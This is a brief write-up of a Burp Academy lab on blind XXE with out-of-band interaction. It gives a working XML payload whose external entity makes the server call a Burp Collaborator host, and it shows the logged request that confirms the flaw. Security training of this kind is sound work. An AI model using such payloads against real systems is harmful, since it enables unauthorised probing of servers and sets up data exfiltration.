Blind XXE with out-of-band interaction.txt

Blind XXE with out-of-band interaction

This time we're dealing with a blind XXE attack, so we need to find a way to confirm that it works. Solution provided by Burp Labs is great.
We do this by adding the address of a system we own in the payload, instead of the local system. We'll use Burp Collaborator for this.

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "http://lwlwd10budkku921sowrjq5tpkvajz.burpcollaborator.net"> ]><stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>

and we get a request sent to Collaborator:
GET / HTTP/1.1
User-Agent: Java/11.0.1
Host: lwlwd10budkku921sowrjq5tpkvajz.burpcollaborator.net
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive